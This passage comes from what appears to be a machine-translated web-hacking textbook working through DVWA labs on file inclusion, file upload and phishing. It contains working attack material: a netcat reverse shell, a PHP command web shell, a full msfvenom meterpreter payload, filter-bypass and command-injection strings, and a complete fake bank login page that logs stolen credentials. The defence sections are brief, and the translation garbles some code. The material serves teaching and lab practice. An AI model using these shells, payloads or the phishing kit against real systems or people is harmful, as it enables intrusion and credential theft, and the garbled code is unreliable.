As the tool will tell us, we will press [ENTER] when the handler in Metasploit is ready: too bad it
will not be yet, so we will open a new Terminal window (don't close this one!).
In the new terminal window we will head to the Liffy folder and start msfconsole, passing the
parameters written by Liffy in the php_listener.rc file (you will not need to configure it as
php_listener will already have all the options included):
$ msfconsole -r php_listener.rc
msf> use exploit / multi / handler
msf exploit ( multi / handler )> set LHOST 20.0.0.2
LHOST => 20.0.0.2
msf exploit ( multi / handler )> set LPORT 4444
LPORT => 4444
msf exploit ( multi / handler )> PAYLOAD php / meterpreter / reverse_tcp

set
PAYLOAD => php / meterpreter / reverse_tcp
msf exploit ( multi / handler )> exploit -j
[*] Started reverse TCP handler on 20.0.0.2:4444
So let's go back to the previous Terminal and click [ENTER]: a message like this will appear in
the msfconsole terminal:
msf exploit ( multi / handler )> [*] Sending stage (37775 bytes) to
20.0.0.3
[*] Meterpreter session 1 opened (20.0.0.2:6666 -> 20.0.0.3:49992) at 2018-08-07 17:05:28 +0200
Eureka! We have just created our first session in Meterpreter and are ready to manipulate the
machine. We can now enter the session:
msf exploit (multi / handler)> sessions -i 1
Where 1 is the session id; if you think it is not that you can always list all the sessions in progress with
the command:
msf> sessions -l
Returning to us we will end up with the command line that anticipates us with the voice
"meterpreter>", confirming the presence of a meterpreter session. We can now go and test the
normal UNIX commands, for example by printing the list of files in the folder where we are:
meterpreter> ls
Listing: / var / www / html / vuln / vulnerabilities / fi
=============================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644 / rw-r - r-- 604 fil 2018-06-08 18:07:34 +0200 file1.php
100644 / rw-r - r-- 608 fil 2018-06-08 18:07:34 +0200 file2.php
100644 / rw-r - r-- 1113 fil 2018-06-08 18:07:34 +0200 file3.php
100644 / rw-r - r-- 372 fil 2018-06-08 18:07:34 +0200 file4.php
40755 / rwxr-xr-x 4096 dir 2018-06-08 18:07:34 +0200 help
100644 / rw-r - r-- 971 fil 2018-06-08 18:07:34 +0200

include.php
100644 / rw-r - r-- 1005 fil 2018-06-08 18:07:34 +0200 index.php 2018-06-29 15:13:44
40755 / rwxr-xr-x 4096 dir +0200 source
From here you are spoiled for choice on the commands that can be launched.
Defence: Local File Inclusion
DVWA simulation
The approach used for the fix is to predict which pages will be able to be loaded (include.php,
file1.php, file2.php, file3.php); although this fails to guarantee good programming dynamism,
the white-listing approach (in this case the static type) is sufficient to eliminate any possibility
that the attack will be carried out [Code 9.5].
Code 9.5
<? php
// Only allow include.php or file {1..3} .php
if ( $ file ! = "include.php" && $ file ! = "file1.php" && $ file
}
?>
9.5 Remote Inclusion

There is the possibility that a web app must include a remote file external to the web server on
which it is located: the reasons may be different (from dependencies to the simplest
convenience) but the principles for which it is possible to find oneself in this condition are
almost identical to the local inclusion (chapter 9.4). Given the need to run code on an external
host, we can include the file within our application [Code 9.6]:
Code 9.6
<? php
$ file = $ _GET [ 'file' ];
includes ( $ file );
?>
The approach used consists of the following process:
1) Get the value of a variable passed in query-string (ex: page.php? File = http: //example.com)
2) Include the page loaded from the web in the one you are designing
Despite the existence of this possibility, many programmers avoid, precisely for security
reasons, to pass external pages indicated in query-strings: to tell the truth, it is practically
impossible to find such a reasoned web app. The value to include is more likely to be static, so
consider the example above as a real mistake not to make.
A "Remote File Inclusion" (RFI) attack consists in manipulating the inclusion value, directing
the target to external resources of the machine hosting the web app. Again with the previous
example we assume that the URL is:
http://example.com/page.php?file=about.php
The attack vector is identical to the LFI: with this attack, however, we are going to include
external files, which we can design at will (like a shell, chapter 12.2).
The URL is then composed in the following scheme:

http://example.com/page.php?file=http://attacker/shell.php
As you can see, unlike the LFI, here there is no need to identify relative paths but only the
absolute path, obviously preceded by the protocol (http).
RFI-type attacks are among the most dangerous in circulation; in fact, they allow you to execute
arbitrary code on the machine hosting the web app, the only limit of which is the permissions that
the user in use by the web app has. It's possible:
Run a shell, even if not present on the web server
Perform any kind of web server side operations, using the one in use by the web app as a
user
Carry out Phishing attacks
9.5.1 LAB: Remote File Inclusion

The purpose of this LAB is to force the web app to include an illegitimate file located outside
the server: for testing purposes, we will simply load an external web page
(http://example.com). All tests are carried out through "File Inclusion", as in the LFI attacks
(chapter
9.4).
Attack: Remote File Inclusion " Low "
Victim simulation
The "File Inclusion" page shows three links (link1.php, link2.php, link3.php): from the machine attacker
click on one of them the following URL will be generated:
http: // victim / vuln / vulnerabilities / fi /? page = file1.php
The vulnerability is found because the variable "page" passed in query-string (file1.php) is not
filtered in any way. We can therefore modify its value by assigning an external URL as in the
following example [Figure 9.3]:
http: // victim / vuln / vulnerabilities / fi /? page = http: //example.com
Figure 9.3: We include the external URL by passing it as a value to the variable in the query-
string
The exploited vulnerability is the same as already seen in Local File Inclusion [Code
9.6].
Code 9.6
<? php
?>
Attack: Remote File Inclusion " Medium "
Victim simulation
The defense tactic in this case involves a blacklisting approach: any string containing " http: // " or
" https: // " will be replaced with a blank character. The responsible part of the code can be
found in the PHP source code [Code 9.7]:
Code 9.7
<? php
// Input validation
"http: //" ,
"https: //"
), "" , $ file );
"../" ,
".. \" "
), "" , $ file );
?>
Bypass here can take place in two ways:
1) Through a double manipulated string (hthttp: // tp: //)
2) By passing case-sensitive characters (htTp: //)
In the first case, as already seen in the LFI medium attack (chapter 9.4.1), the str_replace
function replaces any portion of the string containing "http: //": according to this logic, passing
the parameter "hthttp: // tp : // "the latter will be cleaned up, leaving the desired result" http: //
"(the same will also apply to HTTPS protocols). From the car attacker we can then generate
the following URL:
page = hthttp: // tp: //example.com
The second case involves the passage of the protocol through uppercase characters: in fact,
the str_replace function is case-sensitive, so it will check for the presence of such
vulnerabilities only in the presence of the lowercase version. From the car attacker we can
then generate the following URL:
http: // victim / vuln / vulnerabilities / fi /? page = hTtp: //example.com

Attack: Remote File Inclusion " High "
Victim simulation
At this level it is not possible to carry out Remote File Inclusion attacks but only Local File
Inclusion. The attack can only be carried out through other vulnerabilities (such as File Upload,
chapter 10).
Payload: Reverse Shell (Netcat)

DVWA simulation
Towards the end of this volume (Chapter 12.3) we will talk about Shell, Reverse Shell and
everything you need to know: until then you must know that the shell allows you to connect to
the victim machine using the Terminal and run commands on it. .
The purpose of this LAB will be to exploit the RFI (Low) vulnerability to connect the machine victim
to the car attacker through the netcat tool; the execution will take place through a simple code
in PHP that will be hosted inside the attacker machine, from which we will launch the
command:
$ nano /var/www/html/agent.php
The short script we are going to insert will have the following content (remember that you save with [CTRL +
X], [Y] and [ENTER]) [Code 9.7a]:
Code 9.7a
<? php
shell_exec ( 'nc 20.0.0.2 8888 -e / bin / sh' );
?>
The shell_exec function will allow the web server to start the netcat (nc) process that will have
to connect to the attacker machine (20.0.0.2) on port 8888, via shell (-e / bin / sh).
In chapter 12.2 we will deepen the construction of a web shell and related functions in PHP for
executing server-side commands.
Before injecting the Reverse Shell we listen for netcat on port 8888 of the machine attacker , then
we run the command:
$ nc -lvp 8888
listening on [any] 4444 ...
At this point we will be able to inject the Reverse Shell through the Remote File Inclusion
vulnerability. Knowing that the attacker's host machine points to the following address:
http://20.0.0.2/agent.php
The URL will be changed as follows:

page = http: //20.0.0.2/agent.php
Loading the Netcat terminal we will get the green light and we will be able to launch commands on
the hacked machine:
$ nc -lvp 8888
listening on [any] 4444 ...
connect to [20.0.0.2] from victim [20.0.0.3] 36810
ls
conf.d
debian.cnf
debian-start
...
Defence: Remote File Inclusion

DVWA simulation
The approach used for the fix is to predict which pages can be loaded (include.php, file1.php,
file2.php, file3.php). Although not the most dynamic approach, it allows you to determine
exactly which parameters can be accepted. Any more permissive solutions are present in
libraries and frameworks, a topic not covered in this document [Code 9.8].
Code 9.8
<? php

// Only allow include.php or file {1..3} .php
if ( $ file ! = "include.php" && $ file ! = "file1.php" && $ file
?>
10. UPLOAD ATTACKS
The concept of "upload" is very dear to web programming since a web app commonly offers
various possibilities for interaction, such as the ability to have users upload resources: images,
PDFs, audio files and any other media resource (or not) must be correctly manipulated and
stored by the web app and then recalled when necessary.
10.1 Unrestricted File Upload

Unlike the attacks seen previously, where the vulnerability is at a design level that we can
define as "unexpected", here it is presented in the form of "expected" design: in the case of
inclusion attacks, the programmer does not want a user (cyber- ) manipulate its variables;
here, however, it is the web app that allows this.
Usually these attacks are conveyed through Web Forms built ad hoc that allow you to load
resources: these will then be inserted internally or externally to the web host and it will be
possible to execute code on the server side.
Uploading to a Web App usually consists of an HTML form that allows you to collect data from
the client. A code example is the following [Code 10.1]:
Code 10.1
<form action = "upload.php" method = "post"

enctype = "multipart / form-data" >
<input type = "file" name = "userfile" >
<input type = "submit" value = "Upload" >
</form>
By filling out the form we will be redirected to the "upload.php" page which will instead be constructed as
follows [Code 10.1a]:
Code 10.1a
<? php
$ uploaddir = 'path / uploads' ;
// Temporary path to File

$ userfile_tmp = $ _FILES [ 'userfile' ] [ 'tmp_name' ];
//File name
$ userfile_name = $ _FILES [ 'userfile' ] [ 'name' ];
// Copy the file to my folder

if ( move_uploaded_file ( $ userfile_tmp , $ uploaddir . $ userfile_name
// If the operation was successful ...
echo 'File sent successfully.' ; } else {
// If the operation failed ...

echo 'Upload NOT valid!' ;
}
?>
Without any control over the uploaded file, the user can theoretically upload any type of file,
including code to be executed on the Web Server side. The content of this file could be the
entire payload with which it will infect the whole machine.
10.1.1 LAB: File Upload

The purpose of this LAB is to inject a simple shell in PHP, so as to be able to execute arbitrary
code within the web server hosting the web app. The web shell will be created by the machine attacker
, in our case it will be called " shell.php ":
$ cd $ HOME
$ nano shell.php
and will contain the following code [Code 10.2]:

Code 10.2
<? php
if (isset ( $ _REQUEST [ 'cmd' ])) {
echo "<pre>" ;
$ cmd = ( $ _REQUEST [ 'cmd' ]);
system ( $ cmd );
echo "</pre>" ;
die;
}
?>
We will then save the file with the combination of CTRL + X, S and ENTER. This script will allow
us to obtain a variable (cmd) from the query-string and execute the indicated command. Eg:
? cmd = ls
It will output the list of items in the current folder.
NB: in the High version the shell will not be used, but an image will be manipulated which will
then be able to execute PHP code. However, the goal remains the same: the goal will be to
make the server execute arbitrary code.
Attack: File Upload " Low "

Victim simulation
The basic level has no control over uploaded files. It will therefore be sufficient to log in from the
machine attacker , under "File Upload" of DVWA and upload the file [Figure 10.1]. Considering that
the upload folder is present at the path:
/ var / www / html / vuln / hackable / uploads
We can invoke our shell with the following command [Figure

10.1a]:
http: //victim/vuln/hackable/uploads/shell.php? cmd = ls
Figure 10.1: There is no upload control, so you can upload everything,
including PHP code
Figure 10.1a: we can run any command and pass any parameter; in
this example, we show all the contents of the / var / www / html folder
The responsible part of the code can be found on the PHP source code [Code
10.3]:
Code 10.3
<? php
if (isset ( $ _POST [ 'Upload' ])) {
// Where are we going to be writing to?

$ target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable / uploads /"
$ target_path . = basename ( $ _FILES [ 'uploaded' ] [ 'name' ]);
// Can we move the file to the upload folder?

if (! move_uploaded_file ( $ _FILES [ 'uploaded' ]
[ 'tmp_name' ], $ target_path )) {
// No
echo '<pre> Your image was not uploaded.
</pre> ' ;
} else {
// Yes!
echo "<pre>
{$ target_path} succesfully uploaded! </pre> " ;
}
}
?>
http: //victim/vuln/vulnerabilities/view_source_all.php? id = upload
Attack: File Upload " Medium "

Victim simulation - Tools: OWASP ZAP
The following difficulty level includes a file type check. Here a resource type check
(Content-Type) is performed; this information travels indiscreetly to the user's eyes through an
HTTP request (POST).
Before continuing, let's check the source code and see how the script intercepts the file type;
moreover, a check is made on the size of the file (100000 bytes), a limit that could deprive us
of the upload of a shell
very large [Code 10.4].
Code 10.4
<? php
$ target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable / uploads /"

$ target_path . = basename ( $ _FILES [ 'uploaded' ]
[ 'name' ]);
// File information
$ uploaded_name = $ _FILES [ 'uploaded' ] [ 'name' ];
$ uploaded_type = $ _FILES [ 'uploaded' ] [ 'type' ];
$ uploaded_size = $ _FILES [ 'uploaded' ] [ 'size' ];
// Is it an image?
if (( $ uploaded_type == "image / jpeg" || $ uploaded_type ==

...
The attack thus requires external support; in this example we will use OWASP ZAP 154 which
will serve as a proxy for HTTP connections (rather than Burp Suite, as seen in other chapters).
From the car attacker
let's make sure we have selected our favorite browser from ZAP and launch it; we will confirm
that HTTP requests are being intercepted when we receive status logs at the bottom of ZAP
[Figure 10.2].
Figure 10.2: We launch the browser from ZAP, then verify that the current session comes
intercepted by the program
Let's upload the shell once again; this time the system will refuse to import the file [Figure
10.3], this is because the Content-Type is of type "application / x-php" [Figure 10.4] (we can
check it by clicking on the last request in the logs, then from the window that will appear).
Figure 10.3: The page refuses to process the shell

Figure 10.4: from ZAP we can see that the Content-Type is of type application / x-php
By right-clicking on the request made (you will always find it in the history) it is possible to
resend it with changes [Figure 10.5]: we will then receive an editor that will allow us to modify
the HTTP request, and in particular the Content-Type ( which this time will become "image /
png" or "image / jpeg"). Finally we will click on Send [ Figure 10.6].
Figure 10.5: Find the last HTTP request made, right click and Resend
Figure 10.6: We modify the Content-Type, then resubmit the new HTTP request.
The HTTP response we will finally receive will tell us that the shell has been loaded, bypassing
the expected check [Figure 10.7]. As for the other difficulty levels, we can summon the shell by
launching:
http: //victim/vuln/hackable/uploads/shell.php? cmd = ls
Figure 10.7: This time the HTTP request was accepted and the shell loaded
NB: if you need to load a larger shell you can also change the Content-Length (always with the
just seen).
Attack: File Upload " High "

DVWA simulation; Tools: EXIF Tool
The last level of security provides a check on the file extension: if this is not "jpg", "jpeg" or
"png" the web app will refuse to upload it. Also, the size of the file (watch how much your
image weighs, otherwise you will receive an error!) And the size will make the control much
more stringent. The check is carried out in the attached code portion [Code 10.5].
Code 10.5
<? php

...
// File information
...
// Is it an image?
if (( strtolower ( $ uploaded_ext ) == "jpg" || strtolower ( $ uploaded_ext

...
The attack involves the use of an image: the controls are too hard to allow us to perform tricks
of any kind, so we will be forced to develop a strategy based on the use of images.
In our case we chose the one of a monkey with the file name monkey.jpg. If you intend to
replicate our situation you can run the command:
$ wget -O $ HOME / monkey.jpg http://bit.ly/2tRhV0L
Like this in your user's folder 155 you will find the image of a monkey; in this we will insert in the
EXIF Data 156 the echo of
PHP information via the phpinfo () function. The command to
run is:
$ exiftool -comment = '<? = phpinfo ()?>' $ HOME / monkey.jpg
In this case we just print the phpinfo () instead of generating a more complex code (like the
shell) to avoid confusion about the command.
We will then upload the image from the File Upload, thus obtaining an upload to the following
address:
http: //victim/vuln/hackable/uploads/monkey.jpg
However, this is not enough to inject the code as the web server will treat the image as a JPG.
It will therefore be necessary to rename the file on the web server; how? Through the
Command Execution vulnerability seen in chapter 8.2! We access the page of this vulnerability
and launch:
20.0.0.2 | cp ../../hackable/uploads/monkey.jpg
. . /../hackable/uploads/monkey.php
With this command we will make a copy of the monkey.jpg file, renaming it in monkey.php
within the server. Now we can access it and view the phpinfo [Figure 10.8]:
http: //victim/vuln/hackable/uploads/monkey.php
This is a clear example of how two seemingly useless vulnerabilities can be lethal together.
Figure 10.8: the pseudo-shell has been renamed and is now running on the Server!
Payload: Upload + RCE = Web Shell
Victim simulation
This demonstration aims to show the risks involved in suffering a combined attack, that is, the
one that allows the loading of a file that is not allowed together with the possibility of remotely
controlling the machine. The result will be the ability to load a web shell 157 within the web server
and manipulate it from a convenient graphical interface.
Let's get one of the many web shells on the net 158 typing from Terminal:
$ wget
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter9/shell.php
What we will do is compress the shell: this is to bypass one of the many DVWA controls that
limit the upload weight to 100K (like many sites, by the way):
$ gzip shell.php
The file will now be "shell.php.gz", definitely not very elegant and above all easily identifiable
by a trivial extension check. So let's change the extension:
$ mv shell.php.gz shell.php.jpg
Let's proceed to upload the file on the DVWA "File Upload" page. Uploaded, the file will be
available at http: // victim / vuln / hackable / uploads / [Figure 10.9].
Figure 10.9: The shell will be loaded but unusable
However, the shell will be unusable; besides being compressed, its extension does not allow
the web server to interpret its internal code. Through a second vulnerability (Command
Execution) we will be able to command the web server and perform the following operations:
1) Rename the file from shell.php.jpg to shell.php.gz (to get gunzip, the decompression tool, to
extract it correctly)
2) Extract the contents of shell.php.gz
3) The result will be shell.php Which, translated
into the exploit, will be:
127.0.0.1; cp /var/www/html/vuln/hackable/uploads/shell.php.jpg /var/www/html/vuln/hackable/uploads/shell.php.gz;

gunzip -v /var/www/html/vuln/hackable/uploads/shell.php.gz
Where 127.0.0.1; it will be the escape that will allow us to run more code. Let's insert the string
in the DVWA Command Injection page [Figure 10.10].
Figure 10.10: Thanks to the injected code we will be able to work on the web server.
This time from the uploaded files we will find the shell with the correct extension
(.php) and we can use it to manage the web server [Figure 10.11]. Eureka! Now the Web
Server is in the hands of the cyber-criminal at http: //victim/vuln/hackable/uploads/shell.php.
Figure 10.11: The shell allows you to do great things, like upload files, browse through
directories and much, much more ...
Payload: Upload + RCE = Reverse Shell
Victim simulation
Along the lines of what we have just seen we are going to create one Reverse Shell
which will connect to our machine: unlike a web shell, a normal reverse shell will "die" when
the internet connection is closed. Conversely, it is less likely to be intercepted by an internal
security system. It will also let us see the use of Msfvenom, a very popular payload generator
and encoder in the Metasploit Framework universe.
From Terminal we start msfvenom indicating the payload we want to use (a reverse tcp shell
written in PHP) which will point to the IP and port of the machine attacker, then we will ask to
show the code we are going to copy:
$ msfvenom -p php / meterpreter / reverse_tcp lhost = 20.0.0.2 lport = 3333

- f raw
[-] No platform was selected, choosing Msf :: Module :: Platform :: PHP from the payload
[-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting
raw payload Payload size: 1109 bytes
/ * <? php / ** / error_reporting (0); $ ip = '20 .0.0.2 '; $ port = 3333; if (($ f = 'stream_socket_client') && is_callable ($ f)) {$ s
= $ f ("tcp: // {$ ip}: {$ port}"); $ s_type = 'stream'; } if (! $ s && ($ f = 'fsockopen') && is_callable ($ f)) {$ s = $ f ($ ip, $ port);
$ s_type = 'stream'; } if (! $ s && ($ f = 'socket_create') && is_callable ($ f)) {$ s = $ f (AF_INET, SOCK_STREAM,
SOL_TCP); $ res = @socket_connect ($ s, $ ip, $ port); if (! $ res) {die (); } $ s_type = 'socket'; } if (! $ s_type) {die ('no
socket funcs'); } if (! $ s) {die ('no socket'); } switch ($ s_type) {case 'stream': $ len = fread ($ s, 4); break; case 'socket': $
len = socket_read ($ s, 4); break; } if (! $ len) {die (); } $ a = unpack ("Nlen", $ len); $ len = $ a ['len' ]; $ b = ''; while (strlen ($
b) <$ len) {switch ($ s_type) {case 'stream': $ b. = fread ($ s, $ len-strlen ($ b)); break; case 'socket': $ b. = socket_read ($
s, $ len-strlen ($ b)); break; }} $ GLOBALS ['msgsock'] = $ s; $ GLOBALS ['msgsock_type'] = $ s_type; if
(extension_loaded ('suhosin') &&
ini_get ('suhosin.executor.disable_eval')) {
$ suhosin_bypass = create_function ('', $ b); $ suhosin_bypass (); } else {eval ($ b); } die ();
At this point we create a document called tcp.php:

$ nano tcp.php
and paste the content obtained above, then save with the combination CTRL + X, Y and
ENTER.
In this test we will not simulate the bypass of the extension (in JPG) nor will we need to
compress the file, as it will be just about 1K.
The time has come to open a "handler" able to collect the reverse shell request and associate
it with a session: we will indicate that it should expect a reverse_tcp request from a php page,
then we will configure ip and port; everything will finally be launched with the run command.
The shell configuration follows:
$ msfconsole
msf> use multi / handler
msf exploit ( multi / handler )> set payload php / meterpreter / reverse_tcp
payload => php / meterpreter / reverse_tcp
msf exploit ( multi / handler )> set LHOST 20.0.0.2
LHOST => 20.0.0.2
msf exploit ( multi / handler )> set LPORT 3333
LPORT => 3333
msf exploit ( multi / handler )> run
[*] Started reverse TCP handler on 20.0.0.2:3333
Let's navigate to the "File Upload" page and calmly load the shell, it will then be available at:
http: //victim/vuln/hackable/uploads/tcp.php
From the page where we started msfconsole the session will now start
meterpreter:
[*] Started reverse TCP handler on 20.0.0.2:3333 [*] Sending stage (37775 bytes) to
20.0.0.3
[*] Meterpreter session 1 opened (20.0.0.2:3333 -> 20.0.0.3:39382) at 2018-08-08 18:40:07 +0200
meterpreter>
With it we can interact with the machine; let's check the operation of some commands:
meterpreter> ls
Listing: / var / www / html / vuln / hackable / uploads
===========================================
Mode Size Type Last modified Name
---- ---- ----------------- ----
100644 / rw-r - r-- 42675 fil 2018-08-08 15:33:55 +0200 shell.php
100644 / rw-r - r-- 1109 fil 2018-08-08 18:25:06 +0200 tcp.php
meterpreter> pwd
/ var / www / html / vuln / hacka ble / up loads
meterpreter> sysinfo
Computer : hacklog
OS : Linux hack log 4. 9.0-6-amd64 # 1 SMP Debian 4 . 9.88-

1 + deb9u1 (2018-05-07) x8 6_64
Meterpreter: php / linux
The attack was successful and the cyber-criminal can manipulate the machine to his liking.
You want to have the convenience of a Web Shell and the interactivity of a Reverse
Shell? can try out Weevely
(https://github.com/epinna/weevely3), a hybrid web shell that allows you to interface directly
from the Command Line.
Defence: File Upload

DVWA simulation
The approach used for the fix in a File Upload consists in using some techniques aimed at
re-manipulating the file in use; in this example, we will see how to verify the upload of an
image.
Control is initially done via the extension verification ( if this is jpg, jpeg or png type), then
check the File Type (image / jpeg or image / png); instead of uploading the file directly, the web
app processes the image extracting its contents, then recreating it eliminating metadata ( and
avoid possible infected scripts attached that exploit bugs in the browser) [Code 10.6].
Code 10.6
<? php
...
// File information
$ uploaded_name = $ _FILES [ 'uploaded' ] [ 'name' ];
$ uploaded_ext
= substr ( $ uploaded_name , strrpos ( $ uploaded_name , '.' ) +
$ uploaded_size = $ _FILES [ 'uploaded' ] [ 'size' ];
$ uploaded_type = $ _FILES [ 'uploaded' ] [ 'type' ];
$ uploaded_tmp = $ _FILES [ 'uploaded' ] [ 'tmp_name' ];
// Where are we going to be writing to? ...
// Is it an image?
if (( strtolower ( $ uploaded_ext ) == 'jpg' || strtolower (

// Strip any metadata, by re encoding image (Note,
using php- Imagick is recommended over php-GD)
if ( $ uploaded_type == 'image / jpeg' ) {

$ img = imagecreatefromjpeg ( $ uploaded_tmp );
imagejpeg ( $ img , $ temp_file , 100 );
} else {
$ img = imagecreatefrompng ( $ uploaded_tmp );
imagepng ( $ img , $ temp_file , 9 );
}
imagedestroy ( $ img );
// Can we move the file to the web root from the temp folder?
...
?>
In practice, it is as if the web app opens the image, takes a screenshot of it and saves it in a
new document. In this case, anything other than an image is ignored.
There are several best practices to create secure uploaders: we recommend following the
documentation present in w3schools 159 , where all the controls necessary for a correct uploader
are explained.
11. ATTACKS ON DECEPTION
It is likely that a cybercriminal, if he fails to breach the web portal, decides to go through
deceptive attacks. Social engineering ( social engineering) is a term used over the years that
describes persuasion techniques to deceive the end user and access sensitive data without
exploiting "technical" vulnerabilities.
These types of attacks have evolved over time, sometimes easy to find, sometimes difficult to
identify: through mixed techniques of computer science and vocabulary, the attack that has
had the greatest popularity in the sector is undoubtedly Phishing, the most classic of Social
Engineering since the birth of the Internet. In this section, we will cover some common attacks
and ways to defend against and avoid digital scams.
11.1 Phishing
Phishing attacks are constantly evolving and it is not possible to document them all.
Fortunately, these are the most discussed attacks of recent years and it will not be difficult to
find original and new news and methods of use. The following are therefore basic models from
which you can start your research.
Phishing is a mechanism that includes both social engineering and some technical subterfuge
to steal a user's personal information and credentials. Usually in Phishing the attacker uses
fake / spoofed email addresses that invite action within web portals designed for the purpose of
memorizing the information entered. Phishing attacks usually leverage four common
characteristics 160 :
They try to access the victim's financial and bank credit They are not hosted
directly on legitimate web servers They exploit the image of well-known brands
Urgently call to action
Although Phishing attacks have decreased globally,

they increase during the holiday and sales periods and in areas of technological growth.
11.1.1 Principles of Phishing

"Why do criminals steal from banks? Well, because the money is there!" is probably the
statement that best explains why cybercrime is very interested in phishing. Basic Phishing is
not a complex operation: the goal is in fact to convince the user to perform an action (insert
credentials on a site, download a trojan / keygen etc ...) by pretending to be the legitimate
sender of the message .
First the cyber-criminal will have to hide his identity: the most common connection with the
victim occurs via email, through fictitious addresses sent by web servers or other compromised
computers.
After a short presentation message, the victim will be invited to browse a (fictitious) website
also present in an illicit / compromised web server: the website will be presented in the image
and likeness of the financial / banking institution that the attacker intends to emulate. It is
enough to consider a phishing email model to support this thesis [Figure 11.1]: in most cases,
the email will alarm the victim on his bank account in danger, inviting him to action in the
shortest time possible.
Once the victim accesses the link and sends the credentials, these will be stored on the web
server or communicated to the cyber-criminal (usually via email).
Figure 11.1: classic phishing email. How many will have fallen for it?
11.1.2 Types of Phishing

There are a different number of techniques used by cybercriminals to carry out phishing
attacks; the more technology tends to advance, the greater the variables that the victim will
have to face. To date, different types of attacks have been categorized that exploit different
vectors, below we are going to analyze them one by one.
Phishing Spam / Email

It is the most common type of Phishing: through automation systems able to browse the web
and search for email addresses, fraud attempts are sent en masse through email messages.
They are the easiest to block as they can fall into the honeypots of associations, governments
etc ... (see Phishing Mitigation); they usually manage to make users of really old IT systems fall
into the trap with little / no skills in the IT sector.
Spear Phishing
The term Spear Phishing identifies a type of technique where the cyber-criminal carries out
attack attempts based on the victim: he knows some sensitive information (collected through
the Information Gathering,
Chapter 4), then approaches them through direct contact (for example via email). From there,
the attacker can decide not only to perform a classic fake login but also to carry
Man-In-The-Middle attacks. It was estimated 161
that Spear Phishing attacks have a 91% success rate.
Session Hijacking
The attack can be prepared both through profiling (Spear Phishing) and mass (Email / Spam).
The content of the email contains an exploit capable of exploiting a Session Hijacking
vulnerability (CSRF, Chapter 7.3).
Content Injection
The attack can be prepared both through profiling (Spear Phishing) and mass (Email / Spam).
In this case the link is legitimate but in the URL it has parameters that exploit a vulnerability
present in the website hosting the legitimate portal (such as an XSS attack, Command
Execution, SQL Injection etc ...).
Smishing (SMS Phishing)

The attack is conveyed through SMS. The victim's phone number can be collected through
external databases (from sites to which we have provided our phone number which in turn
have sold at the best offers) or by crawling on the web: in these cases the cyber-criminal will
use a number spoofed phone (anonymous sender via VoIP service) or an anonymous SMS
service to contact the victim.
Vishing (Voice Phishing)

The attack is conveyed through a telephone call. The victim's phone number is collected as in
Smishing: in these cases the cyber-criminal will use a spoofed phone number or an
anonymous VoIP service to contact the victim.
Attack: Fake Sub-domain

DEMO simulation
The most popular of the methods for hiding a URL from visual control of the
victim is to use a sub-domain structure able to camouflage (in part) some superficial controls.
For example, if the cyber-criminal manages to break into the domain:
example.com
It may decide to create a subdomain that responds to:

it.eu.recovermyaccount.bank.com.example.com
In this case, even after a first simple visual check, the victim will get the following result [Figure
11.2].
Figure 11.2: the subdomain simulates a large part of a domain that we consider safe.
It is evident that the rendering of the domain is easily intercepted by an attentive visitor, it will
instead be more difficult to verify through a mobile device [Figure 11.3].
Figure 11.3: Notice how the URL hides nicely on the smartphone!
In this case the smartphone, by necessity, had to hide the rest of the URL that contains the
offending domain. The attack is therefore easier to carry out if the victim uses a smartphone.
Attack: Unicode Domain (Attack)

DEMO simulation
Among the latest found in recent years in terms of Phishing Domain we have that of the abuse of
Unicode, that set of alphabets such as Greek, Arabic, Cyrillic etc ... which within them have
characters similar or equal to the Latin ones.
The technique uses Typosquatting, which will be followed by the "Fake Login" (see next chapter).
Payload: Fake Login

Victim simulation
In this exercise we will study a short process of building a fake banking webpage where the
victim will enter their personal login information. We will then create the phishing folder
(reachable from http: // victim / phishing), the logs.txt file that will contain the stolen information
(to which we will assign permissions with the chmod command) and the PHP page that will
handle the malicious code . From the car victim we launch:
$ mkdir / var / www / html / phishing
$ touch /var/www/html/phishing/logs.txt | chmod 777 /var/www/html/phishing/logs.txt
$ nano /var/www/html/phishing/index.php
The code will contain a logo, a form with username and password and a submit button, in
short, nothing complicated [Figure 11.4]. The same page will then retrieve the information,
send it via email to the creator and redirect the user to the official site, making him believe that
there was a little unexpected with his access. The complete code commented in each critical
operation follows [Code 11.1].
Figure 11.4: A few lines of code are enough to create a credible login form. The example here
showed it took 8 minutes between logo design, HTML and CSS!
Code 11.1
<? php
// If the victim filled out the form
if ( isset ($ _POST [ 'password' ])) {
// Create the $ username and $ password variables
$ username = $ _POST [ 'username' ];
// Open the logs.txt file
$ logfile = fopen ( "logs.txt" , "to" );
// Add the new data found in the logs.txt file
$ txt = $ username. ":" . $ password. ";" ; fwrite ($ logfile, "\ n" . $ txt);
// Close the file

fclose ($ logfile);
// Redirect to new site
header ( "location: http://example.com" );
}
?>
<html>
<head>
<title> BankLog - Your Bank Login Access </title> <style type = "text / css" >
body {
background-color : # bfcb9b;
padding : 5%;
}
# container {
margin : car;
background : #fff;
text-align : center;
border-radius : 20px;
padding : 5%;
}
# container input {
display : block;
border : 1px solid # 9aaf6a;
padding : 10px;
border-radius : 6px;
margin : 10px auto;
max-width : 800px;
}
# container input .button {
background-color : # 6e7951;
color : #fff;
padding : 10px 20px;
}
</style>
</head>
<body>
<div id = "container" >
<! - Image of the bank ->
<img
src = "https://github.com/Hacklogit/hacklog2/raw/master/examples/chapter11/logo- banklog.jpg" > <br />
<! - Form to enter data ->

<form id = "login" name = "login"
action = "index.php" method = "POST" >
<input type = "text" name = "username"
placeholder = "Username:" >
<input type = "text" name = "password"
placeholder = "Password:" >
<input type = "submit" class = "button"
value = "Login" >
</form>
</div>
</body>
</html>
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter11/index.php
Once the form is filled in, the victim will be redirected to the example.com page (which could be
the real bank page). Instead, the attacker will be able to access the stolen data with the
command:
$ cat /var/www/html/phishing/logs.txt
Obviously it is possible to expand the code in thousands of ways: some prefer to send an
email, others use IRC bots or external communication APIs (see Telegram) so to give their
identity more security.
Defence: Phishing
DEMO simulation
Phishing can have thousands of facets and, for this reason, it is not easy to summarize
everything in a few points. In general, here are some tips to avoid falling into the Phishing trap:
1. Stay informed on the latest Phishing techniques; read magazine e

portals of the sector to find out what are the latest news in terms of computer fraud.
2. Always update your software fleet or at least apply all the patches
security available for your Operating System
3. Use updated browsers and new generation; especially the most

famous (Chrome, Firefox, Edge, Safari, Opera) integrate extensions capable of verifying the
